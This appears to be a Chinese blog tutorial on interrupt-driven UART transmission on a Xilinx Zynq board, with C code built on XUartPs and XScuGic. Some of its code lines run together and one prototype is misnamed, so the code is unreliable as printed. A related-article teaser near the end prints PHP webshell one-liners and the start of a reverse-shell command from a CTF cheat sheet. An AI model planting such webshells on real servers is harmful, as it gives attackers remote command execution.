当前位置: 首页 > article >正文

6.3 - UART串口数据发送之中断

文章目录

  • 1 实验任务
  • 2 系统框图
  • 3 软件设计

1 实验任务

本实验使用中断方式实现UART串口数据的连续发送。

2 系统框图

参见6.1。

3 软件设计

注意事项:

  1. 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断的触发前提是FIFO中有数据且被读空,即FIFO中的最后一个数据被读出(This event is triggered whenever the final word is removed from the transmit FIFO);
  2. XUartPs_Send函数:
    • (1)函数功能:发送数据到TX FIFO
    • (2)函数实现:
      • 1)禁用TX FIFO空中断和TX FIFO满中断
      • 2)设置缓冲区参数,包括请求发送的字节数、剩余待发送的字节数和指向下一个要发送的字节的指针
      • 3)调用XUartPs_SendBuffer函数,该函数完成数据发送功能并返回实际发送的字节数
      • 4)接收XUartPs_SendBuffer函数的返回值并返回
  3. XUartPs_SendBuffer函数:
    • (1)函数功能:以轮询或中断驱动模式将缓冲区数据发送到TX FIFO
    • (2)函数实现:
      • 1)发送数据到TX FIFO,如果TX FIFO未满且缓冲区中还有数据未发送,则将数据写入TX FIFO(Otherwise put bytes into the TX FIFO unil it is full, or all of the data has been put into the FIFO
      • 2)更新缓冲区指针和剩余字节数
      • 3)使能TX FIFO空中断:注意,如果接收中断已启用,则启用TX FIFO空中断(这也是为何在UartInit函数中使能看似无关的XUARTPS_IXR_RXOVR中断的原因)
        • 疑问1:为什么在启用接收中断的前提下才能启用TX FIFO空中断
        • 疑问2:为什么仅启用了TX FIFO空中断,TX FIFO满中断在XUartPs_Send也被禁用了,为何未被重新启用
      • 4)返回实际发送的字节数
  4. 程序设计思路:
    • (1)在程序下载后,假设上一次数据已发送完毕,SendComplete置1;
    • (2)将每一轮的首次数据发送放在while循环中,这样TxBuffer中的数据才能一轮一轮的循环发送起来(刚开始把首次数据发送放在while循环外边,在第一轮的最后一次数据发送完毕并触发空中断后,SendComplete置1,然后就没有然后了…)。
/************************** Include Files ***********************************/
#include "xparameters.h"
#include "xuartps.h"
#include "xscugic.h"
#include "xil_exception.h"
#include "stdio.h"
#include "sleep.h"/************************** Constant Definitions ****************************/
#define UART_DEVICE_ID		XPAR_XUARTPS_0_DEVICE_ID
#define INTC_DEVICE_ID		XPAR_SCUGIC_SINGLE_DEVICE_ID
#define UART_INTR_ID		XPAR_XUARTPS_1_INTR#define BUFFER_SIZE 		256  // 发送缓冲区大小
#define FIFO_TRIGGER_LEVEL  32   // FIFO触发阈值
#define RECV_TIMEOUT        4    // 接收超时时间(单位:波特率时钟周期)/************************** Function Prototypes *****************************/
s32  c(XUartPs *UartPsInstPtr, XUartPsFormat* UartFormatPtr);
s32  SetupInterruptSystem(XScuGic *IntcInstPtr, XUartPs *UartPsInstPtr);
void UartIntrHandler(void *CallBackRef);/************************** Variable Definitions ****************************/
XUartPs UartInst;
XScuGic IntcInst;u8 TxBuffer[BUFFER_SIZE] = { 0 };  // 接收缓冲区int RxDataLength = 0;  // 接收到的数据长度XUartPsFormat UartFormat = {XUARTPS_DFT_BAUDRATE,     // 115200XUARTPS_FORMAT_8_BITS,XUARTPS_FORMAT_NO_PARITY,XUARTPS_FORMAT_1_STOP_BIT
};// 发送状态
u32 TotalBytesSent;  // 已发送的字节数
int SendComplete;    // 发送完成标志
/************************** Function Implementation *************************/int main()
{//s32 Status;u32 BytesSent;//for (int i = 0; i < BUFFER_SIZE; i++) {TxBuffer[i] = (u8)i;  // 填充从 0 开始的递增数}// 初始化UARTStatus = UartPsInit(&UartInst, &UartFormat);if (Status != XST_SUCCESS) {return XST_FAILURE;}// 设置中断系统Status = SetupInterruptSystem(&IntcInst, &UartInst);if (Status != XST_SUCCESS) {return XST_FAILURE;}// 主循环SendComplete = 1;while(1){if (SendComplete == 1) {TotalBytesSent = 0;SendComplete = 0;sleep(3);// 启动第一次发送BytesSent = XUartPs_Send(&UartInst, TxBuffer, BUFFER_SIZE);TotalBytesSent += BytesSent;}}//return 0;
}s32 UartPsInit(XUartPs *UartInstPtr, XUartPsFormat* UartFormatPtr)
{//s32 Status;XUartPs_Config *UartConfigPtr;// 查找UART配置UartConfigPtr = XUartPs_LookupConfig(UART_DEVICE_ID);if(NULL == UartConfigPtr){return XST_FAILURE;}// 初始化UARTStatus = XUartPs_CfgInitialize(UartInstPtr, UartConfigPtr, UartConfigPtr->BaseAddress);if (Status != XST_SUCCESS) {return XST_FAILURE;}// 设置UART数据格式XUartPs_SetDataFormat(UartInstPtr, UartFormatPtr);// 设置UART操作模式XUartPs_SetOperMode(UartInstPtr, XUARTPS_OPER_MODE_NORMAL);// 设置接收FIFO触发阈值XUartPs_SetFifoThreshold(UartInstPtr, FIFO_TRIGGER_LEVEL);// 设置接收超时XUartPs_SetRecvTimeout(UartInstPtr, RECV_TIMEOUT);// 设置中断掩码,使能发送FIFO空中断XUartPs_SetInterruptMask(UartInstPtr, XUARTPS_IXR_RXOVR | XUARTPS_IXR_TXEMPTY);//return XST_SUCCESS;
}s32 SetupInterruptSystem(XScuGic *IntcInstPtr, XUartPs *UartInstPtr)
{//s32 Status;XScuGic_Config *IntcConfigPtr;// 初始化中断控制器GICIntcConfigPtr = XScuGic_LookupConfig(INTC_DEVICE_ID);if (NULL == IntcConfigPtr){return XST_FAILURE;}Status = XScuGic_CfgInitialize(IntcInstPtr, IntcConfigPtr, IntcConfigPtr->CpuBaseAddress);if (Status != XST_SUCCESS){return XST_FAILURE;}// 注册异常处理程序Xil_ExceptionInit();Xil_ExceptionRegisterHandler(XIL_EXCEPTION_ID_INT, (Xil_ExceptionHandler)XScuGic_InterruptHandler, IntcInstPtr);Xil_ExceptionEnable();// 连接UART中断处理程序XScuGic_Connect(IntcInstPtr, UART_INTR_ID, (Xil_InterruptHandler)UartIntrHandler, (void *)UartInstPtr);// 使能UART中断XScuGic_Enable(IntcInstPtr, UART_INTR_ID);//return XST_SUCCESS;
}void UartIntrHandler(void *CallBackRef)
{//XUartPs* UartInstPtr = (XUartPs*)CallBackRef;u32 IsrStatus;// 读取中断状态IsrStatus = XUartPs_ReadReg(UartInstPtr->Config.BaseAddress, XUARTPS_IMR_OFFSET);IsrStatus &= XUartPs_ReadReg(UartInstPtr->Config.BaseAddress, XUARTPS_ISR_OFFSET);// 处理发送FIFO空中断if ((IsrStatus & (u32)XUARTPS_IXR_TXEMPTY) != (u32)0) {XUartPs_WriteReg(UartInstPtr->Config.BaseAddress, XUARTPS_ISR_OFFSET, XUARTPS_IXR_TXEMPTY);if (TotalBytesSent < BUFFER_SIZE) {// 继续发送剩余的数据u32 BytesSent = XUartPs_Send(UartInstPtr, &TxBuffer[TotalBytesSent], BUFFER_SIZE - TotalBytesSent);TotalBytesSent += BytesSent;}else {// 所有数据已发送完毕SendComplete = 1;
//			xil_printf("Config file sent successfully in polled mode!\n");}}//return;
}

相关文章:

6.3 - UART串口数据发送之中断

文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项&#xff1a; 系统上电、程序下载后&#xff0c;此时TX FIFO虽然为空&#xff0c;但并不会触发空中断&#xff1b;空中断…...

无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。

eplan生成更新列表后报错&#xff0c;报错内容如下&#xff1a; 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因&#xff1a;eplan的列表更新需要64位的微软办公软件版本支…...

将CUBE或3DL LUT转换为PNG图像

概述 在大部分情况下&#xff0c;LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT&#xff0c;通常是图像格式的 LUT 文件。下面&#xff0c;我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换&#xff08;不是8x8网络&#xff09;&am…...

C语言(13)------------>do-while循环

1.do-while循环的语法 我们知道C语言有三大结构&#xff0c;顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考&#xff1a; C语言&#xff08;11&#xff09;-------------&#xff1e;while循…...

FS800DTU联动OneNET平台数据可视化View

目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...

Linux 第三次脚本作业

源码编译安装httpd 2.4&#xff0c;提供系统服务管理脚本并测试&#xff08;建议两种方法实现&#xff09; 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了&#xff09; 3、解压httpd包 4、解压后的httpd包的文…...

[数据结构笔记]数据结构必要的C语言基础

数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础&#xff0c;许多同学在初学数据结构时因为对这些知识不熟&#xff0c;导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 ​ 在一些场景中&#xff0c;如果传递给函…...

CTF常用shell语句整理(webshell、反弹shell)

Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行&#xff1a;访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...

数据结构笔记——06树和二叉树

文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...

蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推

蓝禾&#xff0c;oppo&#xff0c;游卡&#xff0c;汤臣倍健&#xff0c;康冠科技&#xff0c;作业帮&#xff0c;高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术&#xff0c;结构设计&#xff0c;供应链&#xff0c;产品&#xff0c;职能&#xff0c;商务 【…...

蓝桥杯之日期题

文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛&#xff0c;涵盖多个赛道&#xff0c;常见的有软件类&#xff08;如 C/C 程序设计、Java 软件开发、Python 程序设计&#xff09;和电子类&#xff08;…...

大模型在尿潴留风险预测及围手术期方案制定中的应用研究

目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...

PV Elite 27是专业的压力容器和热交换器设计解决方案

Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计&#xff0c;分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...

Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析

文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时&#xff0c;开发者经常需要对运行时库选项&#xff08;例如…...

QT入门--QMainWindow

从上向下依次是菜单栏&#xff0c;工具栏&#xff0c;铆接部件&#xff08;浮动窗口&#xff09;&#xff0c;状态栏&#xff0c;中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...

深圳南柯电子|医疗设备EMC测试整改检测:零到一,保障医疗安全

在当今医疗科技飞速发展的时代&#xff0c;医疗设备的电磁兼容性&#xff08;EMC&#xff09;已成为确保其安全、有效运行的关键要素之一。EMC测试整改检测不仅关乎设备的性能稳定性&#xff0c;更是保障患者安全、避免电磁干扰引发医疗事故的重要措施。 一、医疗设备EMC测试整…...

【链 表】

【链表】 一级目录1. 基本概念2. 算法分析2.1 时间复杂度2.2 空间复杂度2.3 时空复杂度互换 线性表的概念线性表的举例顺序表的基本概念顺序表的基本操作1. 初始化2. 插入操作3. 删除操作4. 查找操作5. 遍历操作 顺序表的优缺点总结优点缺点 树形结构图形结构单链表基本概念链表…...

排序算法归类整理对比

以下是常见排序算法的详细分类和解析&#xff0c;涵盖原理、时间复杂度及适用场景&#xff1a; 一、比较排序算法 1. 快速排序&#xff08;Quick Sort&#xff09; 原理&#xff1a;分治策略&#xff0c;选取基准元素&#xff08;pivot&#xff09;&#xff0c;将数组分为小于…...

前端项目部署阻止用户打开控制台

需求&#xff1a;在前端开发过程中&#xff0c;会遇到生产坏境不让用户打开控制台&#xff0c;防止不法分子虚假信息操作。 废话不多说一共两步&#xff0c;添加我们的js方法&#xff0c;和在全局使用这个方法。 第一步&#xff1a;添加我的js文件&#xff1a; //禁用开发者…...

一周学会Flask3 Python Web开发-Jinja2模板过滤器使用

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 在Jinja2中&#xff0c;过滤器(filter)是一些可以用来修改和过滤变量值的特殊函数&#xff0c;过滤器和变量用一个竖线 | &a…...

【STM32H743IIT6】STM32H7的ADC时钟频率设置问题 —— 网上大多文章未注意到的要点!

前言 我使用的是定时器触发ADC采样。最近在想达到ADC的最高采样率的时候&#xff0c;发现一直却卡在1Msps上不去&#xff0c;直到在硬汉嵌入式的论坛里才发现了答案&#xff1a;[ADC] STM32H743/H750的Y版和V版芯片ADC的主频区别 这篇文章就详细的讲一下这个问题&#xff0c;这…...

JavaScript基础(函数及面向对象)

函数 定义函数 Java定义方法&#xff1a; public 返回值类型 方法名(){ return 返回值 } 定义函数方法一 eg&#xff1a;定义一个绝对值函数 function abs(x) {if (x>0){return x;}else {return -x;}} 调用函数&#xff1a; 注意&#xff1a;一旦执行到return代表函数…...

2025面试Go真题第一场

前几天参加了一场面试&#xff0c;GoLang 后端工程师&#xff0c;他们直接给了我 10 道题&#xff0c;我留了一个截图。 在看答案之前&#xff0c;你可以先简单做一下&#xff0c;下面我会对每个题目做一个说明。 文章目录 1、golang map 是否并发安全?2、协程泄漏的原因可能是…...

dockerfile基于alpine构建haproxy

1. 结构目录 [rootlocalhost ~]# tree haproxy/ haproxy/ ├── dockerfile └── files├── env.txt├── haproxy-2.5.0.tar.gz├── haproxycfg.sh├── install.sh└── sysctl.conf1 directory, 6 files [rootlocalhost ~]# 2. 编写dockerfile [rootlocalhost ~…...

【有奖实践】轻量消息队列(原 MNS)订阅 OSS 事件实时处理文件变动

当你需要对对象存储 OSS&#xff08;Object Storage Service&#xff09;中的文件变动进行实时处理、同步、监听、业务触发、日志记录等操作时&#xff0c; 你可以通过设置 OSS 的事件通知规则&#xff0c;自定义关注的文件&#xff0c;并将 OSS 事件推送到轻量消息队列&#x…...

关于Postman自动获取token

在使用postman测试联调接口时&#xff0c;可能每个接口都需要使用此接口生成的令牌做Authorization的Bearer Token验证&#xff0c;最直接的办法可能会是一步一步的点击&#xff0c;如下图&#xff1a; 在Authorization中去选择Bearer Token&#xff0c;然后将获取到的token粘贴…...

Baklib知识中台构建企业智慧中枢

智能技术架构构建路径 Baklib知识中台的技术架构设计以模块化和可扩展性为核心&#xff0c;通过分层解耦的架构体系实现知识管理的全流程覆盖。底层依托智能语义分析引擎与多模态知识图谱&#xff0c;完成非结构化数据的自动清洗与语义关联&#xff1b;中间层构建统一的知识资…...

解决安卓recyclerView滚到底部不彻底问题

问题分析&#xff1a; 传统recycleview滚到到底部方式scrollToPosition(lastpositon)&#xff0c;只能定位到最后一条数据的顶部。由于数据过长&#xff0c;无法滚动到最底部。 问了下deepseek&#xff0c;给了个方案&#xff1a; private void recyclerViewScrollToBottom()…...

python unzip file

要在 Python 中解压文件并显示进度&#xff0c;我们需要在解压过程中跟踪文件的提取进度。由于 zipfile 模块本身不直接支持进度显示&#xff0c;我们可以通过手动计算并使用 tqdm 库来显示进度条。 安装 tqdm 首先&#xff0c;确保你已经安装了 tqdm 库&#xff0c;用于显示…...

Elasticsearch索引设计与分片策略深度优化-手记

一、索引设计的黄金法则&#xff08;从踩坑到精通的必经之路&#xff09; 1. 字段类型显式声明原则 动态映射是新手最易踩的坑&#xff0c;某金融平台曾因金额字段被自动识别为text类型&#xff0c;导致聚合查询时触发OOM。正确做法应显式声明核心字段&#xff1a; PUT /fin…...